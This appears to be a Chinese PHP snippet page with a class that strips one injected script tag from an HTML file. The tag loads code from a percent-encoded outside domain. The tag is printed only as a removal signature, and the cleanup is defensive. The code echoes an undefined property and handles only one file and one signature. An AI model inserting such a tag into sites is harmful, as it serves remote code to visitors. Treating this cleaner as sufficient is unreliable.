php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php中使用addslashes函数报错问题的解决方法

大家看下面的代码,能发现错误在哪里吗? 复制代码 代码如下:<?phpecho function_exists('addcslashes');//检测是否存在该函数echo get...

php获取远程图片并下载保存到本地的方法分析

本文实例讲述了php获取远程图片并下载保存到本地的方法。分享给大家供大家参考,具体如下: 远程图片指的是远端服务器上的数据我们可以通过php的许多函数来读取下载了,这里整理了两个可以自动...

PHP模块化安装教程

本文讲述了PHP模块化安装的方法。分享给大家供大家参考,具体如下: PHP(Hypertext Preprocessor)这门虽然简单但功能却是非常强大的脚本语言,下面就 基于Windo...

PHP pathinfo()获得文件的路径、名称等信息说明

PHP pathinfo() 函数 定义和用法 pathinfo() 函数以数组或字符串的形式返回关于文件路径的信息。 返回的数组元素如下: [dirname]:返回文件路径中的目录部分...

php 破解防盗链图片函数

复制代码 代码如下:<?php $url=$_GET['url']; $ext=pathinfo($url,PATHINFO_EXTENSION); if($ext!='jpg'...